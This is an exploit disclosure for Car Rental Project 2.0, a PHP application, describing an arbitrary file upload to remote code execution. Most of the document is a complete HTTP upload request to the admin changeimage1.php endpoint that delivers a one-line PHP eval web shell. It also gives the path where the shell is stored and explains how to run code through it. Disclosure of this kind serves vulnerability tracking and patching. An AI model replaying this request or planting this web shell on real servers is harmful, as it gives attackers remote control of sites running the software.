# Exploit Title: Car Rental Project 2.0 - Arbitrary File Upload to Remote Code Execution
# Date: 3/2/2021
# Exploit Author: Jannick Tiger
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/car-rental-project-php-mysql-free-download/
# Version : V 2.0
# Vulnerability Type: Arbitrary File Upload 
# Tested on Windows 10 、XAMPP
# This application is vulnerable to Arbitrary File Upload to Remote Code Execution vulnerability.
# Vulnerable script:


POST /carrental/admin/changeimage1.php?imgid=4 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------346751171915680139113101061568
Content-Length: 369
Origin: https://localhost
Connection: close
Referer: https://localhost/carrental/admin/changeimage1.php?imgid=4
Cookie: PHPSESSID=te82lj6tvep7afns0qm890393e
Upgrade-Insecure-Requests: 1

-----------------------------346751171915680139113101061568
Content-Disposition: form-data; name="img1"; filename="1.php"
Content-Type: application/octet-stream

<?php @eval($_POST[pp]);?>
-----------------------------346751171915680139113101061568
Content-Disposition: form-data; name="update"


-----------------------------346751171915680139113101061568--



# Uploaded Malicious File can be Found in :
carrental\admin\img\vehicleimages\1.php
# go to https://localhost/carrental/admin/img/vehicleimages/1.php,Execute malicious code via post value phpinfo();